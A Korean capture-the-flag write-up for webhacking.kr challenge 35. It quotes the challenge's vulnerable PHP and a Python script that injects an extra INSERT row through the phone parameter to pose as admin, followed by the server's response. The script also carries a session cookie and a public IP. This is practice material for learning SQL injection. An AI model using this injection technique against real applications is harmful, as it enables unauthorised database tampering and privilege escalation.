

view-source를 클릭하면 GET method로 phone과 id를 입력할 수 있고, id가 5글자 초과이면 안되니 query를 넣을 곳은 phone밖에 없어보인다.
... 생략 ...
if($_GET['phone'] && $_GET['id']){
if(preg_match("/\*|\/|=|select|-|#|;/i",$_GET['phone'])) exit("no hack");
if(strlen($_GET['id']) > 5) exit("no hack");
if(preg_match("/admin/i",$_GET['id'])) exit("you are not admin");
mysqli_query($db,"insert into chall35(id,ip,phone) values('{$_GET['id']}','{$_SERVER['REMOTE_ADDR']}',{$_GET['phone']})") or die("query error");
echo "Done<br>";
}
$isAdmin = mysqli_fetch_array(mysqli_query($db,"select ip from chall35 where id='admin' and ip='{$_SERVER['REMOTE_ADDR']}'"));
if($isAdmin['ip'] == $_SERVER['REMOTE_ADDR']){
solve(35);
mysqli_query($db,"delete from chall35");
}
... 생략 ...
ip는 자신의 공인 IP로 넣고, 괄호가 필터링이 아니기 때문에 쉽게 id가 admin인 데이터를 insert할 수 있다.
import urllib.request
id = 'a'
phone = urllib.parse.quote('123), ("admin", "1.220.188.91", 123')
CHALLENGE = 'https://webhacking.kr/challenge/web-17/'
SESSID = 'h83e8tbo50nv3mkbkjm99tc80b'
headers = {'Cookie':'PHPSESSID='+ SESSID}
url = CHALLENGE + '?id='+id+'&phone='+phone
request = urllib.request.Request(url=url, headers=headers)
response = urllib.request.urlopen(request)
result = response.read().decode()
print(result)
[Output]
<html>
<head>
<title>Challenge 35</title>
<head>
<body>
<form method=get action=index.php>
phone : <input name=phone size=11 style=width:200px>
<input name=id type=hidden value=guest>
<input type=submit value='add'>
</form>
Done<br><script>alert('already solved');</script><!--
-->
<br><a href=?view_source=1>view-source</a>
</body>
</html>